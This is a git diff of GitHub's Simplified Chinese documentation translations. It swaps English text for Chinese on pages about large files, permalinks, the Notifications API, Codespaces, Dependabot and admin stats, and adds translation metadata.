有关详细信息,请参阅“[从存储库的历史记录中删除文件](#removing-files-from-a-repositorys-history)”。 {% note %} -**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)." +注意:如果通过浏览器将文件添加到存储库,该文件不得大于 {% data variables.large_files.max_github_browser_size %}。 有关详细信息,请参阅“[将文件添加到存储库](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)”。 {% endnote %} -{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks files larger than {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.location.product_location %}. For more information, see "[Setting Git push limits](/enterprise/admin/guides/installation/setting-git-push-limits)."{% endif %} +{% ifversion ghes %}默认情况下,{% endif %}{% data variables.product.product_name %} 阻止超过 {% data variables.large_files.max_github_size %} 的推送。 {% ifversion ghes %}但站点管理员可为 {% data variables.product.product_location %} 配置不同的限制。 有关详细信息,请参阅“[设置 Git 推送限制](/enterprise/admin/guides/installation/setting-git-push-limits)。”{% endif %} -To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)." +要跟踪超出此限制的文件,必须使用 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %})。 有关详细信息,请参阅“[关于 {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)”。 -If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)." +如果需要在存储库中分发大文件,则可以在 {% data variables.product.product_location %} 上创建版本,而不是跟踪文件。 有关详细信息,请参阅“[分发大型二进制文件](#distributing-large-binaries)”。 -Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/). +Git 不是为处理大型 SQL 文件而设计的。 要与其他开发人员共享大型数据库,建议使用 [Dropbox](https://www.dropbox.com/)。 -{% ifversion fpt or ghec or ghae %} -### Repository size limits +{% ifversion fpt or ghec %} +### 存储库大小限制 -We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. {% ifversion ghae %}The maximum size for a repository on {% data variables.product.product_name %} is 100 GB. {% endif %}Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository. +建议仓库保持较小,理想情况下小于 1 GB,强烈建议小于 5 GB。 较小的仓库克隆速度更快,使用和维护更容易。 如果您的仓库过度影响我们的基础架构,您可能会收到来自 {% data variables.contact.github_support %} 的电子邮件,要求您采取纠正措施。 我们力求灵活,特别是对于拥有很多协作者的大型项目,并且尽可能与您一起找到解决方案。 您可以有效地管理仓库的大小和整体运行状况,以免您的仓库影响我们的基础架构。 可以在 [`github/git-sizer`](https://github.com/github/git-sizer) 存储库中找到用于存储库分析的建议和工具。 -External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources. +外部依赖项可能导致 Git 仓库变得非常大。 为避免外部依赖项填满仓库,建议您使用包管理器。 常见语言的常用包管理器包括 [Bundler](http://bundler.io/)、[Node 的包管理器](http://npmjs.org/)和 [Maven](http://maven.apache.org/)。 这些包管理器支持直接使用 Git 仓库,因此不需要预打包的来源。 -Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/). +Git 未设计为用作备份工具。 但是,有许多专门为执行备份而设计的解决方案,例如 [Arq](https://www.arqbackup.com/)、[Carbonite](http://www.carbonite.com/) 和 [CrashPlan](https://www.crashplan.com/en-us/)。 {% endif %} -## Removing files from a repository's history +## 从仓库的历史记录中删除文件 {% warning %} -**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.location.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository. +警告:这些过程将从你的计算机和 {% data variables.product.product_location %} 上的存储库中永久删除文件。 如果文件很重要,请在仓库外部的目录中创建本地备份副本。 {% endwarning %} -### Removing a file added in the most recent unpushed commit +### 删除在最近未推送的提交中添加的文件 -If the file was added with your most recent commit, and you have not pushed to {% data variables.location.product_location %}, you can delete the file and amend the commit: +如果文件使用最近的提交添加,而您尚未推送到 {% data variables.product.product_location %},您可以删除文件并修改提交: -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.switching_directories_procedural %} -3. To remove the file, enter `git rm --cached`: +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.switching_directories_procedural %} +3. 要删除文件,请输入 `git rm --cached`: ```shell - $ git rm --cached GIANT_FILE + $ git rm --cached giant_file # Stage our giant file for removal, but leave it on disk ``` -4. Commit this change using `--amend -CHEAD`: +4. 使用 `--amend -CHEAD` 提交此更改: ```shell $ git commit --amend -CHEAD # Amend the previous commit with your change # Simply making a new commit won't work, as you need # to remove the file from the unpushed history as well ``` -5. Push your commits to {% data variables.location.product_location %}: +5. 将提交推送到 {% data variables.product.product_location %}: ```shell $ git push # Push our rewritten, smaller commit ``` -### Removing a file that was added in an earlier commit +### 删除之前提交中添加的文件 -If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)." +如果在之前的提交中添加了文件,则需要将其从仓库历史记录中删除。 要从存储库历史记录中删除文件,可以使用 BFG Repo-Cleaner 或 `git filter-branch` 命令。 有关详细信息,请参阅“[从存储库中删除敏感数据](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)”。 -## Distributing large binaries +## 分发大型二进制文件 -If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)." +如果需要在仓库内分发大型文件,您可以在 {% data variables.product.product_location %} 上创建发行版。 发行版允许您打包软件、发行说明和指向二进制文件的链接,以供其他人使用。 有关详细信息,请访问“[关于版本](/github/administering-a-repository/about-releases)”。 {% ifversion fpt or ghec %} -We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}. +我们不限制二进制发行版文件的总大小,也不限制用于传递它们的带宽。 但每个文件必须小于 {% data variables.large_files.max_lfs_size %}。 {% endif %} diff --git a/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md index d16c96cd5e..c0eb7f9851 100644 --- a/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md +++ b/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md @@ -1,6 +1,6 @@ --- -title: Getting permanent links to files -intro: 'When viewing a file on {% data variables.location.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.' +title: 创建文件的永久链接 +intro: '在 {% data variables.product.product_location %} 上查看文件时,您可以按 "y" 键将 URL 更新为指向所查看文件精确版本的永久链接。' redirect_from: - /articles/getting-a-permanent-link-to-a-file - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url @@ -15,43 +15,49 @@ versions: topics: - Repositories shortTitle: Permanent links to files +ms.openlocfilehash: 4e3d5ec282f7f7ba820094240698c88e298cdb69 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129232' --- {% tip %} -**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts. +提示:在 {% data variables.product.product_name %} 的任意页面上按“?”可查看所有可用的键盘快捷键。 {% endtip %} -## File views show the latest version on a branch +## 文件视图显示分支上的最新版本 -When viewing a file on {% data variables.location.product_location %}, you usually see the version at the current head of a branch. For example: +在 {% data variables.product.product_location %} 上查看文件时,通常会在分支头部看到当前版本。 例如: -* [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md) +* [https://github.com/github/codeql/blob/ main/README.md](https://github.com/github/codeql/blob/main/README.md) -refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file. +引用 GitHub 的 `codeql` 存储库,并显示 `main` 分支中 `README.md` 文件的当前版本。 -The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later. +分支头部的文件版本可能会随着新的提交而改变,因此如果您复制常规的 URL,当以后有人查看时,文件内容可能会不同。 -## Press Y to permalink to a file in a specific commit +## 按 Y 永久链接到特定提交中的文件 -For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id. This will permanently link to the exact version of the file in that commit. For example: +要永久链接到所查看的特定版本的文件,请不要在 URL 中使用分支名称(即上面示例中的 `main` 部分),而是使用提交 ID。这将永久链接到与该提交中完全相同的文件版本。 例如: -* [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md) +* [https://github.com/github/codeql/blob/ b212af08a6cffbb434f3c8a2795a579e092792fd/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md) -replaces `main` with a specific commit id and the file content will not change. +将 `main` 替换为特定的提交 ID,文件内容将不会发生变化。 -Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type y to automatically update the URL to the permalink version. Then you can copy the URL knowing that anyone you share it with will see exactly what you saw. +但是,手动查找提交 SHA 比较麻烦,因此可以采用便捷方式,通过键入 y 将 URL 自动更新为永久链接版本。 然后,您可以复制该 URL,以后访问它的任何人都将看到与您所见完全一致的内容。 {% tip %} -**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags! +提示:可以将可解析为提交的任何标识符放在 URL 中,包括分支名称、特定提交 SHA 或标记! {% endtip %} -## Creating a permanent link to a code snippet +## 创建指向代码段的永久链接 -You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)." +您可以创建指向特定版本的文件或拉取请求中特定代码行或行范围的永久链接。 有关详细信息,请参阅“[创建代码片段的永久链接](/articles/creating-a-permanent-link-to-a-code-snippet/)”。 -## Further reading +## 延伸阅读 -- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)" +- [存档 GitHub 存储库](/articles/archiving-a-github-repository) diff --git a/translations/zh-CN/content/rest/activity/notifications.md b/translations/zh-CN/content/rest/activity/notifications.md index 1623a3b424..3636878dcd 100644 --- a/translations/zh-CN/content/rest/activity/notifications.md +++ b/translations/zh-CN/content/rest/activity/notifications.md @@ -1,6 +1,6 @@ --- -title: Notifications -intro: 'The Notifications API lets you manage {% data variables.product.product_name %} notifications.' +title: 通知 +intro: '使用通知 API 可以管理 {% data variables.product.product_name %} 通知。' versions: fpt: '*' ghes: '*' @@ -9,19 +9,22 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 2d68f2b563578608ab66eafbb055edbe5d88d172 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147064272' --- +## 关于通知 API -## About the Notifications API +使用通知 API 可以管理 {% data variables.product.product_name %} 通知。 有关通知的详细信息,请参阅“[关于通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)”。 -{% data reusables.user-settings.notifications-api-classic-pat-only %} +所有通知 API 调用都需要 `notifications` 或 `repo` API 作用域。 这将赋予对某些议题和提交内容的只读权限。 你仍需要 `repo` 作用域才能从相应的端点访问议题和提交。 -The Notifications API lets you manage {% data variables.product.product_name %} notifications. For more information about notifications, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." +通知以“帖子”的形式返回。 帖子包含当前对议题、拉取请求或提交的讨论信息。 -All Notification API calls require the `notifications` or `repo` API scopes. Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints. - -Notifications come back as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. - -Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. +通知针对使用 `Last-Modified` 标头的轮询进行了优化。 如果没有新的通知,你将看到 `304 Not Modified` 响应,你的当前速率限制不受影响。 还有一个 `X-Poll-Interval` 标头,用于指定允许你轮询的间隔时间(以秒为单位)。 在服务器负载较高时,该时间可能会增加。 请遵循标头指示。 ``` shell # Add authentication to your requests @@ -37,27 +40,27 @@ $ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" > X-Poll-Interval: 60 ``` -### About notification reasons +### 关于通知原因 -When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification. +从通知 API 检索响应时,每个有效负载都有一个名为 `reason` 的键。 这些键对应于触发通知的事件。 -These are the potential `reason`s for receiving a notification: +以下是接收通知的可能 `reason`: -Reason Name | Description +原因名称 | 说明 ------------|------------ -`assign` | You were assigned to the issue. -`author` | You created the thread. -`comment` | You commented on the thread. -`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. -`invitation` | You accepted an invitation to contribute to the repository. -`manual` | You subscribed to the thread (via an issue or pull request). -`mention` | You were specifically **@mentioned** in the content. -`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} -`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %} -`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). -`subscribed` | You're watching the repository. -`team_mention` | You were on a team that was mentioned. +`assign` | 您被分配到议题。 +`author` | 您创建了帖子。 +`comment` | 您评论了帖子。 +`ci_activity` | 当 {% data variables.product.prodname_actions %} 工作流程运行被请求或完成时。 +`invitation` | 您接受了参与仓库的邀请。 +`manual` | 您订阅了帖子(通过议题或拉取请求) +`mention` | 你在内容中被特别 **@mentioned** 。 +`review_requested` | 您或您所属的团队被请求审查拉取请求。{% ifversion fpt or ghec %} +`security_alert` | {% data variables.product.prodname_dotcom %} 在你的存储库中发现了[安全漏洞](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)。{% endif %} +`state_change` | 您更改了帖子主题(例如关闭议题或合并拉取请求)。 +`subscribed` | 您在关注仓库。 +`team_mention` | 您所属的团队被提及。 -Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. +请注意,`reason` 根据每个帖子而修改,如果在以后的通知中,`reason` 不同,其值可能会变更。 -For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. +例如,如果你是某个议题的作者,则有关该议题的后续通知中,其 `reason` 值为 `author`。 如果后来你在这个议题上被 **@mentioned** ,则你此后收到的通知中,其 `reason` 值为 `mention`。 无论你此后是否被再次提及,`reason` 值将保持 `mention` 不变。 diff --git a/translations/zh-CN/content/rest/apps/oauth-applications.md b/translations/zh-CN/content/rest/apps/oauth-applications.md index e964f5eb47..8db0816d87 100644 --- a/translations/zh-CN/content/rest/apps/oauth-applications.md +++ b/translations/zh-CN/content/rest/apps/oauth-applications.md @@ -1,5 +1,5 @@ --- -title: OAuth Apps +title: OAuth 应用 allowTitleToDifferFromFilename: true intro: '' topics: @@ -10,8 +10,13 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: bb80e0627236ff7e045dd72823201b6d8e750445 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888434' --- +## 关于 {% data variables.product.prodname_oauth_app %} API -## About the {% data variables.product.prodname_oauth_app %} API - -You can use this API to manage the OAuth tokens an {% data variables.product.prodname_oauth_app %} uses to access people's accounts on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. +可使用此 API 来管理 {% data variables.product.prodname_oauth_app %} 用于访问用户在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户的 OAuth 标记。 diff --git a/translations/zh-CN/content/rest/codespaces/codespaces.md b/translations/zh-CN/content/rest/codespaces/codespaces.md index 06717f44fb..5805f4cd01 100644 --- a/translations/zh-CN/content/rest/codespaces/codespaces.md +++ b/translations/zh-CN/content/rest/codespaces/codespaces.md @@ -1,14 +1,19 @@ --- title: Codespaces -intro: 'Use the REST API to manage {% data variables.product.prodname_github_codespaces %}.' +intro: '使用 REST API 管理 {% data variables.product.prodname_github_codespaces %}。' versions: fpt: '*' ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 17be7c400c2db08bf55cf23229a9dcb978e01b7f +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193111' --- +## 关于 {% data variables.product.prodname_github_codespaces %} -## About {% data variables.product.prodname_github_codespaces %} - -You can manage {% data variables.product.prodname_codespaces %} using the REST API. These endpoints are available for authenticated users, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %}. For more information, see "[{% data variables.product.prodname_codespaces %}](/codespaces)." +可以使用 REST API 管理 {% data variables.product.prodname_codespaces %}。 这些终结点适用于经过身份验证的用户、{% data variables.product.prodname_oauth_apps %} 和 {% data variables.product.prodname_github_apps %}。 有关详细信息,请参阅“[{% data variables.product.prodname_codespaces %}](/codespaces)。” diff --git a/translations/zh-CN/content/rest/codespaces/index.md b/translations/zh-CN/content/rest/codespaces/index.md index 60319463cb..28b29d745c 100644 --- a/translations/zh-CN/content/rest/codespaces/index.md +++ b/translations/zh-CN/content/rest/codespaces/index.md @@ -1,6 +1,6 @@ --- title: Codespaces -intro: '{% data variables.product.prodname_github_codespaces %} API 允许你使用 REST API 管理 codespace。' +intro: '使用 REST API 管理 {% data variables.product.prodname_github_codespaces %}。' versions: fpt: '*' ghec: '*' @@ -16,11 +16,11 @@ children: - /secrets redirect_from: - /rest/reference/codespaces -ms.openlocfilehash: c632b85d7e44e225a7dea2669a28a79a220f90a7 -ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.openlocfilehash: 9e872a046905bde962b2e0fe767534ef51cc3a5e +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/09/2022 -ms.locfileid: '148159761' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193007' --- diff --git a/translations/zh-CN/content/rest/codespaces/machines.md b/translations/zh-CN/content/rest/codespaces/machines.md index 39c6d108f4..f00da7c74e 100644 --- a/translations/zh-CN/content/rest/codespaces/machines.md +++ b/translations/zh-CN/content/rest/codespaces/machines.md @@ -1,18 +1,23 @@ --- -title: Codespaces machines +title: Codespaces 计算机 allowTitleToDifferFromFilename: true shortTitle: Machines -intro: 'Use the REST API to manage availability of machine types for a codespace.' +intro: 使用 REST API 管理可用于 codespace 的计算机类型。 versions: fpt: '*' ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5b53ceb3fb7cf137f61285b1f9ed0aa7838a9179 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193245' --- +## 关于 {% data variables.product.prodname_codespaces %} 计算机 -## About {% data variables.product.prodname_codespaces %} machines +可以确定哪些计算机类型可用于创建 codespace,无论是在给定的存储库上还是作为经过身份验证的用户。 有关详细信息,请参阅“[有关计算机类型](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace#about-machine-types)。” -You can determine which machine types are available to create a codespace, either on a given repository or as an authenticated user. For more information, see "[About machine types](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace#about-machine-types)." - -You can also use this information when changing the machine of an existing codespace by updating its `machine` property. The machine update will take place the next time the codespace is restarted. For more information, see "[Changing the machine type for your codespace](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace)." +还可以通过更新其 `machine` 属性来更改现有 codespace 的机器时使用此信息。 计算机更新将在下次重新启动 codespace 时进行。 有关详细信息,请参阅“[更改 codespace 的计算机类型](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace)。” diff --git a/translations/zh-CN/content/rest/codespaces/organization-secrets.md b/translations/zh-CN/content/rest/codespaces/organization-secrets.md new file mode 100644 index 0000000000..ff857c4a8a --- /dev/null +++ b/translations/zh-CN/content/rest/codespaces/organization-secrets.md @@ -0,0 +1,23 @@ +--- +title: Codespaces 组织机密 +allowTitleToDifferFromFilename: true +shortTitle: Organization secrets +intro: '使用 REST API 管理组织级别的 {% data variables.product.prodname_codespaces %} 机密。' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 228dc62cdd610737e30fb1627f86047b3f2b5867 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193221' +--- +{% note %} + +注意:这些终结点目前为公共 beta 版,可能会有变动。 + +{% endnote %} diff --git a/translations/zh-CN/content/rest/codespaces/organizations.md b/translations/zh-CN/content/rest/codespaces/organizations.md index 0237cbe503..4ac9b35e5b 100644 --- a/translations/zh-CN/content/rest/codespaces/organizations.md +++ b/translations/zh-CN/content/rest/codespaces/organizations.md @@ -2,20 +2,20 @@ title: Codespaces 组织 allowTitleToDifferFromFilename: true shortTitle: Organizations -intro: 可通过 Codespaces 组织 API 使用 REST API 管理组织成员 codespaces。 +intro: 使用 REST API 管理组织成员 codespace。 versions: fpt: '*' ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 0daf0d24f839c92d8eea6b221346b2df312071cf -ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.openlocfilehash: e6c260456a4d34f2de83bf8f936c0789adabd225 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/09/2022 -ms.locfileid: '148159452' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193087' --- -## 关于 Codespaces 组织 API +## 关于 {% data variables.product.prodname_codespaces %} 组织 -可通过 {% data variables.product.prodname_codespaces %} 组织 API 使用 REST API 管理向组织收费的 {% data variables.product.prodname_codespaces %}。 此 API 可用于经过身份验证的组织管理员和 OAuth 应用,但不适用于 GitHub 应用。 有关详细信息,请参阅“[{% data variables.product.prodname_codespaces %}](/codespaces)。” +你可以管理向组织计费的 {% data variables.product.prodname_codespaces %}。 这些终结点可用于经过身份验证的组织管理员和 OAuth 应用,但不适用于 GitHub 应用。 有关详细信息,请参阅“[{% data variables.product.prodname_codespaces %}](/codespaces)。” diff --git a/translations/zh-CN/content/rest/codespaces/repository-secrets.md b/translations/zh-CN/content/rest/codespaces/repository-secrets.md index da948eeb51..98b8a13893 100644 --- a/translations/zh-CN/content/rest/codespaces/repository-secrets.md +++ b/translations/zh-CN/content/rest/codespaces/repository-secrets.md @@ -1,17 +1,22 @@ --- -title: Codespaces repository secrets +title: Codespaces 存储库机密 allowTitleToDifferFromFilename: true shortTitle: Repository secrets -intro: 'Use the REST API to manage secrets for repositories that the user has access to in a codespace.' -permissions: Users with write access to a repository can manage {% data variables.product.prodname_codespaces %} repository secrets. +intro: 使用 REST API 管理用户有权在 codespace 中访问的存储库的机密。 +permissions: 'Users with write access to a repository can manage {% data variables.product.prodname_codespaces %} repository secrets.' versions: fpt: '*' ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: f38e196db7ab0601a28612cf13c363f18181342a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192727' --- +## 关于 {% data variables.product.prodname_codespaces %} 存储库机密 -## About {% data variables.product.prodname_codespaces %} repository secrets - -You can create, list, and delete secrets (such as access tokens for cloud services) for repositories that the user has access to. These secrets are made available to the codespace at runtime. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)." +可以为用户有权访问的存储库创建、列出和删除机密(如云服务的访问令牌)。 这些机密在运行时可供 codespace 使用。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)。” diff --git a/translations/zh-CN/content/rest/codespaces/secrets.md b/translations/zh-CN/content/rest/codespaces/secrets.md index f9a97379f8..c5f713191b 100644 --- a/translations/zh-CN/content/rest/codespaces/secrets.md +++ b/translations/zh-CN/content/rest/codespaces/secrets.md @@ -1,16 +1,21 @@ --- -title: Codespaces user secrets +title: Codespaces 用户机密 allowTitleToDifferFromFilename: true shortTitle: User secrets -intro: 'Use the REST API manage secrets that the user has access to in a codespace.' +intro: 使用 REST API 管理用户有权在 codespace 中访问的机密。 versions: fpt: '*' ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 4042f361c8565512518c400a4c5ace7e14a107ab +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193247' --- +## 关于 {% data variables.product.prodname_codespaces %} 用户机密 -## About {% data variables.product.prodname_codespaces %} user secrets - -You can create, list, and delete secrets (such as access tokens for cloud services) as well as assign secrets to repositories that the user has access to. These secrets are made available to the codespace at runtime. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)." +你可以创建、列出和删除机密(例如云服务的访问令牌)以及将机密分配给用户有权访问的存储库。 这些机密在运行时可供 codespace 使用。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)。” diff --git a/translations/zh-CN/content/rest/dependabot/index.md b/translations/zh-CN/content/rest/dependabot/index.md index 815cdfc355..5c14f419cf 100644 --- a/translations/zh-CN/content/rest/dependabot/index.md +++ b/translations/zh-CN/content/rest/dependabot/index.md @@ -1,6 +1,6 @@ --- title: Dependabot -intro: 'With the {% data variables.product.prodname_dependabot %} API, you can manage {% data variables.product.prodname_dependabot %} alerts and secrets for an organization or repository.' +intro: 使用 Dependabot 机密 API,可以管理和控制组织或存储库的 Dependabot 机密。 allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -14,5 +14,11 @@ children: - /secrets redirect_from: - /rest/reference/dependabot +ms.openlocfilehash: 9e858b635ddec2772b2c298459b7cfda023cd694 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061360' --- diff --git a/translations/zh-CN/content/rest/enterprise-admin/admin-stats.md b/translations/zh-CN/content/rest/enterprise-admin/admin-stats.md index 6be1e3b2cf..4f0a9705a5 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/admin-stats.md +++ b/translations/zh-CN/content/rest/enterprise-admin/admin-stats.md @@ -1,6 +1,6 @@ --- -title: Admin stats -intro: The Admin Stats API provides a variety of metrics about your installation. +title: 管理统计 +intro: 管理统计 API 提供有关安装设施的各种指标。 versions: ghes: '*' ghae: '*' @@ -9,8 +9,11 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a3330488afc37426ef68231eb8d4fed515dcfe16 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060041' --- - -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/announcement.md b/translations/zh-CN/content/rest/enterprise-admin/announcement.md index d699a2b2f5..0ccd1c9da8 